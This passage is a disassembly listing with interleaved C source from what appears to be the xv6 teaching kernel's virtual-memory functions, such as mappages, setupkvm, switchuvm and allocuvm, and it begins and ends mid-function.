80107be9: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80107bed: 74 0e je 80107bfd <walkpgdir+0x4f>
80107bef: e8 6f af ff ff call 80102b63 <kalloc>
80107bf4: 89 45 f4 mov %eax,-0xc(%ebp)
80107bf7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80107bfb: 75 07 jne 80107c04 <walkpgdir+0x56>
return 0;
80107bfd: b8 00 00 00 00 mov $0x0,%eax
80107c02: eb 44 jmp 80107c48 <walkpgdir+0x9a>
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
80107c04: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107c0b: 00
80107c0c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107c13: 00
80107c14: 8b 45 f4 mov -0xc(%ebp),%eax
80107c17: 89 04 24 mov %eax,(%esp)
80107c1a: e8 6b d5 ff ff call 8010518a <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80107c1f: 8b 45 f4 mov -0xc(%ebp),%eax
80107c22: 05 00 00 00 80 add $0x80000000,%eax
80107c27: 83 c8 07 or $0x7,%eax
80107c2a: 89 c2 mov %eax,%edx
80107c2c: 8b 45 f0 mov -0x10(%ebp),%eax
80107c2f: 89 10 mov %edx,(%eax)
}
return &pgtab[PTX(va)];
80107c31: 8b 45 0c mov 0xc(%ebp),%eax
80107c34: c1 e8 0c shr $0xc,%eax
80107c37: 25 ff 03 00 00 and $0x3ff,%eax
80107c3c: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80107c43: 8b 45 f4 mov -0xc(%ebp),%eax
80107c46: 01 d0 add %edx,%eax
}
80107c48: c9 leave
80107c49: c3 ret
80107c4a <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80107c4a: 55 push %ebp
80107c4b: 89 e5 mov %esp,%ebp
80107c4d: 83 ec 28 sub $0x28,%esp
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80107c50: 8b 45 0c mov 0xc(%ebp),%eax
80107c53: 25 00 f0 ff ff and $0xfffff000,%eax
80107c58: 89 45 f4 mov %eax,-0xc(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80107c5b: 8b 55 0c mov 0xc(%ebp),%edx
80107c5e: 8b 45 10 mov 0x10(%ebp),%eax
80107c61: 01 d0 add %edx,%eax
80107c63: 48 dec %eax
80107c64: 25 00 f0 ff ff and $0xfffff000,%eax
80107c69: 89 45 f0 mov %eax,-0x10(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80107c6c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80107c73: 00
80107c74: 8b 45 f4 mov -0xc(%ebp),%eax
80107c77: 89 44 24 04 mov %eax,0x4(%esp)
80107c7b: 8b 45 08 mov 0x8(%ebp),%eax
80107c7e: 89 04 24 mov %eax,(%esp)
80107c81: e8 28 ff ff ff call 80107bae <walkpgdir>
80107c86: 89 45 ec mov %eax,-0x14(%ebp)
80107c89: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80107c8d: 75 07 jne 80107c96 <mappages+0x4c>
return -1;
80107c8f: b8 ff ff ff ff mov $0xffffffff,%eax
80107c94: eb 48 jmp 80107cde <mappages+0x94>
if(*pte & PTE_P)
80107c96: 8b 45 ec mov -0x14(%ebp),%eax
80107c99: 8b 00 mov (%eax),%eax
80107c9b: 83 e0 01 and $0x1,%eax
80107c9e: 85 c0 test %eax,%eax
80107ca0: 74 0c je 80107cae <mappages+0x64>
panic("remap");
80107ca2: c7 04 24 3c 8b 10 80 movl $0x80108b3c,(%esp)
80107ca9: e8 a6 88 ff ff call 80100554 <panic>
*pte = pa | perm | PTE_P;
80107cae: 8b 45 18 mov 0x18(%ebp),%eax
80107cb1: 0b 45 14 or 0x14(%ebp),%eax
80107cb4: 83 c8 01 or $0x1,%eax
80107cb7: 89 c2 mov %eax,%edx
80107cb9: 8b 45 ec mov -0x14(%ebp),%eax
80107cbc: 89 10 mov %edx,(%eax)
if(a == last)
80107cbe: 8b 45 f4 mov -0xc(%ebp),%eax
80107cc1: 3b 45 f0 cmp -0x10(%ebp),%eax
80107cc4: 75 08 jne 80107cce <mappages+0x84>
break;
80107cc6: 90 nop
a += PGSIZE;
pa += PGSIZE;
}
return 0;
80107cc7: b8 00 00 00 00 mov $0x0,%eax
80107ccc: eb 10 jmp 80107cde <mappages+0x94>
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
if(a == last)
break;
a += PGSIZE;
80107cce: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
pa += PGSIZE;
80107cd5: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp)
}
80107cdc: eb 8e jmp 80107c6c <mappages+0x22>
return 0;
}
80107cde: c9 leave
80107cdf: c3 ret
80107ce0 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80107ce0: 55 push %ebp
80107ce1: 89 e5 mov %esp,%ebp
80107ce3: 53 push %ebx
80107ce4: 83 ec 34 sub $0x34,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80107ce7: e8 77 ae ff ff call 80102b63 <kalloc>
80107cec: 89 45 f0 mov %eax,-0x10(%ebp)
80107cef: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80107cf3: 75 07 jne 80107cfc <setupkvm+0x1c>
return 0;
80107cf5: b8 00 00 00 00 mov $0x0,%eax
80107cfa: eb 79 jmp 80107d75 <setupkvm+0x95>
memset(pgdir, 0, PGSIZE);
80107cfc: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107d03: 00
80107d04: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107d0b: 00
80107d0c: 8b 45 f0 mov -0x10(%ebp),%eax
80107d0f: 89 04 24 mov %eax,(%esp)
80107d12: e8 73 d4 ff ff call 8010518a <memset>
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80107d17: c7 45 f4 c0 b4 10 80 movl $0x8010b4c0,-0xc(%ebp)
80107d1e: eb 49 jmp 80107d69 <setupkvm+0x89>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80107d20: 8b 45 f4 mov -0xc(%ebp),%eax
80107d23: 8b 48 0c mov 0xc(%eax),%ecx
80107d26: 8b 45 f4 mov -0xc(%ebp),%eax
80107d29: 8b 50 04 mov 0x4(%eax),%edx
80107d2c: 8b 45 f4 mov -0xc(%ebp),%eax
80107d2f: 8b 58 08 mov 0x8(%eax),%ebx
80107d32: 8b 45 f4 mov -0xc(%ebp),%eax
80107d35: 8b 40 04 mov 0x4(%eax),%eax
80107d38: 29 c3 sub %eax,%ebx
80107d3a: 8b 45 f4 mov -0xc(%ebp),%eax
80107d3d: 8b 00 mov (%eax),%eax
80107d3f: 89 4c 24 10 mov %ecx,0x10(%esp)
80107d43: 89 54 24 0c mov %edx,0xc(%esp)
80107d47: 89 5c 24 08 mov %ebx,0x8(%esp)
80107d4b: 89 44 24 04 mov %eax,0x4(%esp)
80107d4f: 8b 45 f0 mov -0x10(%ebp),%eax
80107d52: 89 04 24 mov %eax,(%esp)
80107d55: e8 f0 fe ff ff call 80107c4a <mappages>
80107d5a: 85 c0 test %eax,%eax
80107d5c: 79 07 jns 80107d65 <setupkvm+0x85>
(uint)k->phys_start, k->perm) < 0)
return 0;
80107d5e: b8 00 00 00 00 mov $0x0,%eax
80107d63: eb 10 jmp 80107d75 <setupkvm+0x95>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80107d65: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80107d69: 81 7d f4 00 b5 10 80 cmpl $0x8010b500,-0xc(%ebp)
80107d70: 72 ae jb 80107d20 <setupkvm+0x40>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
80107d72: 8b 45 f0 mov -0x10(%ebp),%eax
}
80107d75: 83 c4 34 add $0x34,%esp
80107d78: 5b pop %ebx
80107d79: 5d pop %ebp
80107d7a: c3 ret
80107d7b <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
80107d7b: 55 push %ebp
80107d7c: 89 e5 mov %esp,%ebp
80107d7e: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80107d81: e8 5a ff ff ff call 80107ce0 <setupkvm>
80107d86: a3 c4 65 11 80 mov %eax,0x801165c4
switchkvm();
80107d8b: e8 02 00 00 00 call 80107d92 <switchkvm>
}
80107d90: c9 leave
80107d91: c3 ret
80107d92 <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
80107d92: 55 push %ebp
80107d93: 89 e5 mov %esp,%ebp
80107d95: 83 ec 04 sub $0x4,%esp
lcr3(V2P(kpgdir)); // switch to the kernel page table
80107d98: a1 c4 65 11 80 mov 0x801165c4,%eax
80107d9d: 05 00 00 00 80 add $0x80000000,%eax
80107da2: 89 04 24 mov %eax,(%esp)
80107da5: e8 a2 f9 ff ff call 8010774c <lcr3>
}
80107daa: c9 leave
80107dab: c3 ret
80107dac <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80107dac: 55 push %ebp
80107dad: 89 e5 mov %esp,%ebp
80107daf: 53 push %ebx
80107db0: 83 ec 14 sub $0x14,%esp
pushcli();
80107db3: e8 c4 d2 ff ff call 8010507c <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80107db8: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107dbe: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80107dc5: 83 c2 08 add $0x8,%edx
80107dc8: 65 8b 0d 00 00 00 00 mov %gs:0x0,%ecx
80107dcf: 83 c1 08 add $0x8,%ecx
80107dd2: c1 e9 10 shr $0x10,%ecx
80107dd5: 88 cb mov %cl,%bl
80107dd7: 65 8b 0d 00 00 00 00 mov %gs:0x0,%ecx
80107dde: 83 c1 08 add $0x8,%ecx
80107de1: c1 e9 18 shr $0x18,%ecx
80107de4: 66 c7 80 a0 00 00 00 movw $0x67,0xa0(%eax)
80107deb: 67 00
80107ded: 66 89 90 a2 00 00 00 mov %dx,0xa2(%eax)
80107df4: 88 98 a4 00 00 00 mov %bl,0xa4(%eax)
80107dfa: 8a 90 a5 00 00 00 mov 0xa5(%eax),%dl
80107e00: 83 e2 f0 and $0xfffffff0,%edx
80107e03: 83 ca 09 or $0x9,%edx
80107e06: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
80107e0c: 8a 90 a5 00 00 00 mov 0xa5(%eax),%dl
80107e12: 83 ca 10 or $0x10,%edx
80107e15: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
80107e1b: 8a 90 a5 00 00 00 mov 0xa5(%eax),%dl
80107e21: 83 e2 9f and $0xffffff9f,%edx
80107e24: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
80107e2a: 8a 90 a5 00 00 00 mov 0xa5(%eax),%dl
80107e30: 83 ca 80 or $0xffffff80,%edx
80107e33: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
80107e39: 8a 90 a6 00 00 00 mov 0xa6(%eax),%dl
80107e3f: 83 e2 f0 and $0xfffffff0,%edx
80107e42: 88 90 a6 00 00 00 mov %dl,0xa6(%eax)
80107e48: 8a 90 a6 00 00 00 mov 0xa6(%eax),%dl
80107e4e: 83 e2 ef and $0xffffffef,%edx
80107e51: 88 90 a6 00 00 00 mov %dl,0xa6(%eax)
80107e57: 8a 90 a6 00 00 00 mov 0xa6(%eax),%dl
80107e5d: 83 e2 df and $0xffffffdf,%edx
80107e60: 88 90 a6 00 00 00 mov %dl,0xa6(%eax)
80107e66: 8a 90 a6 00 00 00 mov 0xa6(%eax),%dl
80107e6c: 83 ca 40 or $0x40,%edx
80107e6f: 88 90 a6 00 00 00 mov %dl,0xa6(%eax)
80107e75: 8a 90 a6 00 00 00 mov 0xa6(%eax),%dl
80107e7b: 83 e2 7f and $0x7f,%edx
80107e7e: 88 90 a6 00 00 00 mov %dl,0xa6(%eax)
80107e84: 88 88 a7 00 00 00 mov %cl,0xa7(%eax)
cpu->gdt[SEG_TSS].s = 0;
80107e8a: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107e90: 8a 90 a5 00 00 00 mov 0xa5(%eax),%dl
80107e96: 83 e2 ef and $0xffffffef,%edx
80107e99: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
cpu->ts.ss0 = SEG_KDATA << 3;
80107e9f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107ea5: 66 c7 40 10 10 00 movw $0x10,0x10(%eax)
cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE;
80107eab: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107eb1: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80107eb8: 8b 52 08 mov 0x8(%edx),%edx
80107ebb: 81 c2 00 10 00 00 add $0x1000,%edx
80107ec1: 89 50 0c mov %edx,0xc(%eax)
// setting IOPL=0 in eflags *and* iomb beyond the tss segment limit
// forbids I/O instructions (e.g., inb and outb) from user space
cpu->ts.iomb = (ushort) 0xFFFF;
80107ec4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107eca: 66 c7 40 6e ff ff movw $0xffff,0x6e(%eax)
ltr(SEG_TSS << 3);
80107ed0: c7 04 24 30 00 00 00 movl $0x30,(%esp)
80107ed7: e8 47 f8 ff ff call 80107723 <ltr>
if(p->pgdir == 0)
80107edc: 8b 45 08 mov 0x8(%ebp),%eax
80107edf: 8b 40 04 mov 0x4(%eax),%eax
80107ee2: 85 c0 test %eax,%eax
80107ee4: 75 0c jne 80107ef2 <switchuvm+0x146>
panic("switchuvm: no pgdir");
80107ee6: c7 04 24 42 8b 10 80 movl $0x80108b42,(%esp)
80107eed: e8 62 86 ff ff call 80100554 <panic>
lcr3(V2P(p->pgdir)); // switch to process's address space
80107ef2: 8b 45 08 mov 0x8(%ebp),%eax
80107ef5: 8b 40 04 mov 0x4(%eax),%eax
80107ef8: 05 00 00 00 80 add $0x80000000,%eax
80107efd: 89 04 24 mov %eax,(%esp)
80107f00: e8 47 f8 ff ff call 8010774c <lcr3>
popcli();
80107f05: e8 c6 d1 ff ff call 801050d0 <popcli>
}
80107f0a: 83 c4 14 add $0x14,%esp
80107f0d: 5b pop %ebx
80107f0e: 5d pop %ebp
80107f0f: c3 ret
80107f10 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80107f10: 55 push %ebp
80107f11: 89 e5 mov %esp,%ebp
80107f13: 83 ec 38 sub $0x38,%esp
char *mem;
if(sz >= PGSIZE)
80107f16: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp)
80107f1d: 76 0c jbe 80107f2b <inituvm+0x1b>
panic("inituvm: more than a page");
80107f1f: c7 04 24 56 8b 10 80 movl $0x80108b56,(%esp)
80107f26: e8 29 86 ff ff call 80100554 <panic>
mem = kalloc();
80107f2b: e8 33 ac ff ff call 80102b63 <kalloc>
80107f30: 89 45 f4 mov %eax,-0xc(%ebp)
memset(mem, 0, PGSIZE);
80107f33: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107f3a: 00
80107f3b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107f42: 00
80107f43: 8b 45 f4 mov -0xc(%ebp),%eax
80107f46: 89 04 24 mov %eax,(%esp)
80107f49: e8 3c d2 ff ff call 8010518a <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
80107f4e: 8b 45 f4 mov -0xc(%ebp),%eax
80107f51: 05 00 00 00 80 add $0x80000000,%eax
80107f56: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80107f5d: 00
80107f5e: 89 44 24 0c mov %eax,0xc(%esp)
80107f62: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107f69: 00
80107f6a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107f71: 00
80107f72: 8b 45 08 mov 0x8(%ebp),%eax
80107f75: 89 04 24 mov %eax,(%esp)
80107f78: e8 cd fc ff ff call 80107c4a <mappages>
memmove(mem, init, sz);
80107f7d: 8b 45 10 mov 0x10(%ebp),%eax
80107f80: 89 44 24 08 mov %eax,0x8(%esp)
80107f84: 8b 45 0c mov 0xc(%ebp),%eax
80107f87: 89 44 24 04 mov %eax,0x4(%esp)
80107f8b: 8b 45 f4 mov -0xc(%ebp),%eax
80107f8e: 89 04 24 mov %eax,(%esp)
80107f91: e8 bd d2 ff ff call 80105253 <memmove>
}
80107f96: c9 leave
80107f97: c3 ret
80107f98 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
80107f98: 55 push %ebp
80107f99: 89 e5 mov %esp,%ebp
80107f9b: 83 ec 28 sub $0x28,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80107f9e: 8b 45 0c mov 0xc(%ebp),%eax
80107fa1: 25 ff 0f 00 00 and $0xfff,%eax
80107fa6: 85 c0 test %eax,%eax
80107fa8: 74 0c je 80107fb6 <loaduvm+0x1e>
panic("loaduvm: addr must be page aligned");
80107faa: c7 04 24 70 8b 10 80 movl $0x80108b70,(%esp)
80107fb1: e8 9e 85 ff ff call 80100554 <panic>
for(i = 0; i < sz; i += PGSIZE){
80107fb6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80107fbd: e9 a6 00 00 00 jmp 80108068 <loaduvm+0xd0>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80107fc2: 8b 45 f4 mov -0xc(%ebp),%eax
80107fc5: 8b 55 0c mov 0xc(%ebp),%edx
80107fc8: 01 d0 add %edx,%eax
80107fca: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80107fd1: 00
80107fd2: 89 44 24 04 mov %eax,0x4(%esp)
80107fd6: 8b 45 08 mov 0x8(%ebp),%eax
80107fd9: 89 04 24 mov %eax,(%esp)
80107fdc: e8 cd fb ff ff call 80107bae <walkpgdir>
80107fe1: 89 45 ec mov %eax,-0x14(%ebp)
80107fe4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80107fe8: 75 0c jne 80107ff6 <loaduvm+0x5e>
panic("loaduvm: address should exist");
80107fea: c7 04 24 93 8b 10 80 movl $0x80108b93,(%esp)
80107ff1: e8 5e 85 ff ff call 80100554 <panic>
pa = PTE_ADDR(*pte);
80107ff6: 8b 45 ec mov -0x14(%ebp),%eax
80107ff9: 8b 00 mov (%eax),%eax
80107ffb: 25 00 f0 ff ff and $0xfffff000,%eax
80108000: 89 45 e8 mov %eax,-0x18(%ebp)
if(sz - i < PGSIZE)
80108003: 8b 45 f4 mov -0xc(%ebp),%eax
80108006: 8b 55 18 mov 0x18(%ebp),%edx
80108009: 29 c2 sub %eax,%edx
8010800b: 89 d0 mov %edx,%eax
8010800d: 3d ff 0f 00 00 cmp $0xfff,%eax
80108012: 77 0f ja 80108023 <loaduvm+0x8b>
n = sz - i;
80108014: 8b 45 f4 mov -0xc(%ebp),%eax
80108017: 8b 55 18 mov 0x18(%ebp),%edx
8010801a: 29 c2 sub %eax,%edx
8010801c: 89 d0 mov %edx,%eax
8010801e: 89 45 f0 mov %eax,-0x10(%ebp)
80108021: eb 07 jmp 8010802a <loaduvm+0x92>
else
n = PGSIZE;
80108023: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp)
if(readi(ip, P2V(pa), offset+i, n) != n)
8010802a: 8b 45 f4 mov -0xc(%ebp),%eax
8010802d: 8b 55 14 mov 0x14(%ebp),%edx
80108030: 8d 0c 02 lea (%edx,%eax,1),%ecx
80108033: 8b 45 e8 mov -0x18(%ebp),%eax
80108036: 05 00 00 00 80 add $0x80000000,%eax
8010803b: 8b 55 f0 mov -0x10(%ebp),%edx
8010803e: 89 54 24 0c mov %edx,0xc(%esp)
80108042: 89 4c 24 08 mov %ecx,0x8(%esp)
80108046: 89 44 24 04 mov %eax,0x4(%esp)
8010804a: 8b 45 10 mov 0x10(%ebp),%eax
8010804d: 89 04 24 mov %eax,(%esp)
80108050: e8 4d 9d ff ff call 80101da2 <readi>
80108055: 3b 45 f0 cmp -0x10(%ebp),%eax
80108058: 74 07 je 80108061 <loaduvm+0xc9>
return -1;
8010805a: b8 ff ff ff ff mov $0xffffffff,%eax
8010805f: eb 18 jmp 80108079 <loaduvm+0xe1>
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80108061: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108068: 8b 45 f4 mov -0xc(%ebp),%eax
8010806b: 3b 45 18 cmp 0x18(%ebp),%eax
8010806e: 0f 82 4e ff ff ff jb 80107fc2 <loaduvm+0x2a>
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
}
return 0;
80108074: b8 00 00 00 00 mov $0x0,%eax
}
80108079: c9 leave
8010807a: c3 ret
8010807b <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
8010807b: 55 push %ebp
8010807c: 89 e5 mov %esp,%ebp
8010807e: 83 ec 38 sub $0x38,%esp
char *mem;
uint a;
if(newsz >= KERNBASE)
80108081: 8b 45 10 mov 0x10(%ebp),%eax
80108084: 85 c0 test %eax,%eax
80108086: 79 0a jns 80108092 <allocuvm+0x17>
return 0;
80108088: b8 00 00 00 00 mov $0x0,%eax
8010808d: e9 fd 00 00 00 jmp 8010818f <allocuvm+0x114>
if(newsz < oldsz)
80108092: 8b 45 10 mov 0x10(%ebp),%eax
80108095: 3b 45 0c cmp 0xc(%ebp),%eax
80108098: 73 08 jae 801080a2 <allocuvm+0x27>
return oldsz;
8010809a: 8b 45 0c mov 0xc(%ebp),%eax
8010809d: e9 ed 00 00 00 jmp 8010818f <allocuvm+0x114>
a = PGROUNDUP(oldsz);
801080a2: 8b 45 0c mov 0xc(%ebp),%eax
801080a5: 05 ff 0f 00 00 add $0xfff,%eax
801080aa: 25 00 f0 ff ff and $0xfffff000,%eax
801080af: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < newsz; a += PGSIZE){
801080b2: e9 c9 00 00 00 jmp 80108180 <allocuvm+0x105>
mem = kalloc();
801080b7: e8 a7 aa ff ff call 80102b63 <kalloc>
801080bc: 89 45 f0 mov %eax,-0x10(%ebp)
if(mem == 0){
801080bf: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801080c3: 75 2f jne 801080f4 <allocuvm+0x79>
cprintf("allocuvm out of memory\n");
801080c5: c7 04 24 b1 8b 10 80 movl $0x80108bb1,(%esp)
801080cc: e8 f0 82 ff ff call 801003c1 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
801080d1: 8b 45 0c mov 0xc(%ebp),%eax
801080d4: 89 44 24 08 mov %eax,0x8(%esp)
801080d8: 8b 45 10 mov 0x10(%ebp),%eax
801080db: 89 44 24 04 mov %eax,0x4(%esp)
801080df: 8b 45 08 mov 0x8(%ebp),%eax
801080e2: 89 04 24 mov %eax,(%esp)
801080e5: e8 a7 00 00 00 call 80108191 <deallocuvm>
return 0;
801080ea: b8 00 00 00 00 mov $0x0,%eax
801080ef: e9 9b 00 00 00 jmp 8010818f <allocuvm+0x114>
}
memset(mem, 0, PGSIZE);
801080f4: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801080fb: 00
801080fc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108103: 00
80108104: 8b 45 f0 mov -0x10(%ebp),%eax
80108107: 89 04 24 mov %eax,(%esp)
8010810a: e8 7b d0 ff ff call 8010518a <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
8010810f: 8b 45 f0 mov -0x10(%ebp),%eax
80108112: 8d 90 00 00 00 80 lea -0x80000000(%eax),%edx
80108118: 8b 45 f4 mov -0xc(%ebp),%eax
8010811b: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80108122: 00
80108123: 89 54 24 0c mov %edx,0xc(%esp)
80108127: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010812e: 00
8010812f: 89 44 24 04 mov %eax,0x4(%esp)
80108133: 8b 45 08 mov 0x8(%ebp),%eax
80108136: 89 04 24 mov %eax,(%esp)
80108139: e8 0c fb ff ff call 80107c4a <mappages>
8010813e: 85 c0 test %eax,%eax
80108140: 79 37 jns 80108179 <allocuvm+0xfe>
cprintf("allocuvm out of memory (2)\n");
80108142: c7 04 24 c9 8b 10 80 movl $0x80108bc9,(%esp)
80108149: e8 73 82 ff ff call 801003c1 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
8010814e: 8b 45 0c mov 0xc(%ebp),%eax
80108151: 89 44 24 08 mov %eax,0x8(%esp)
80108155: 8b 45 10 mov 0x10(%ebp),%eax
80108158: 89 44 24 04 mov %eax,0x4(%esp)
8010815c: 8b 45 08 mov 0x8(%ebp),%eax
8010815f: 89 04 24 mov %eax,(%esp)
80108162: e8 2a 00 00 00 call 80108191 <deallocuvm>
kfree(mem);
80108167: 8b 45 f0 mov -0x10(%ebp),%eax
8010816a: 89 04 24 mov %eax,(%esp)
8010816d: e8 5b a9 ff ff call 80102acd <kfree>
return 0;
80108172: b8 00 00 00 00 mov $0x0,%eax
80108177: eb 16 jmp 8010818f <allocuvm+0x114>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80108179: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108180: 8b 45 f4 mov -0xc(%ebp),%eax
80108183: 3b 45 10 cmp 0x10(%ebp),%eax
80108186: 0f 82 2b ff ff ff jb 801080b7 <allocuvm+0x3c>
deallocuvm(pgdir, newsz, oldsz);
kfree(mem);
return 0;
}
}
return newsz;
8010818c: 8b 45 10 mov 0x10(%ebp),%eax
}
8010818f: c9 leave
80108190: c3 ret
80108191 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80108191: 55 push %ebp
80108192: 89 e5 mov %esp,%ebp
80108194: 83 ec 28 sub $0x28,%esp
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80108197: 8b 45 10 mov 0x10(%ebp),%eax
8010819a: 3b 45 0c cmp 0xc(%ebp),%eax
8010819d: 72 08 jb 801081a7 <deallocuvm+0x16>
return oldsz;
8010819f: 8b 45 0c mov 0xc(%ebp),%eax
801081a2: e9 9e 00 00 00 jmp 80108245 <deallocuvm+0xb4>
a = PGROUNDUP(newsz);
801081a7: 8b 45 10 mov 0x10(%ebp),%eax
801081aa: 05 ff 0f 00 00 add $0xfff,%eax
801081af: 25 00 f0 ff ff and $0xfffff000,%eax
801081b4: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < oldsz; a += PGSIZE){
801081b7: eb 7d jmp 80108236 <deallocuvm+0xa5>
pte = walkpgdir(pgdir, (char*)a, 0);
801081b9: 8b 45 f4 mov -0xc(%ebp),%eax
801081bc: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801081c3: 00
801081c4: 89 44 24 04 mov %eax,0x4(%esp)
801081c8: 8b 45 08 mov 0x8(%ebp),%eax
801081cb: 89 04 24 mov %eax,(%esp)
801081ce: e8 db f9 ff ff call 80107bae <walkpgdir>
801081d3: 89 45 f0 mov %eax,-0x10(%ebp)
if(!pte)
801081d6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801081da: 75 09 jne 801081e5 <deallocuvm+0x54>
a += (NPTENTRIES - 1) * PGSIZE;
801081dc: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp)
801081e3: eb 4a jmp 8010822f <deallocuvm+0x9e>
else if((*pte & PTE_P) != 0){
801081e5: 8b 45 f0 mov -0x10(%ebp),%eax
801081e8: 8b 00 mov (%eax),%eax
801081ea: 83 e0 01 and $0x1,%eax
801081ed: 85 c0 test %eax,%eax
801081ef: 74 3e je 8010822f <deallocuvm+0x9e>
pa = PTE_ADDR(*pte);
801081f1: 8b 45 f0 mov -0x10(%ebp),%eax
801081f4: 8b 00 mov (%eax),%eax
801081f6: 25 00 f0 ff ff and $0xfffff000,%eax
801081fb: 89 45 ec mov %eax,-0x14(%ebp)
if(pa == 0)
801081fe: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80108202: 75 0c jne 80108210 <deallocuvm+0x7f>
panic("kfree");
80108204: c7 04 24 e5 8b 10 80 movl $0x80108be5,(%esp)
8010820b: e8 44 83 ff ff call 80100554 <panic>
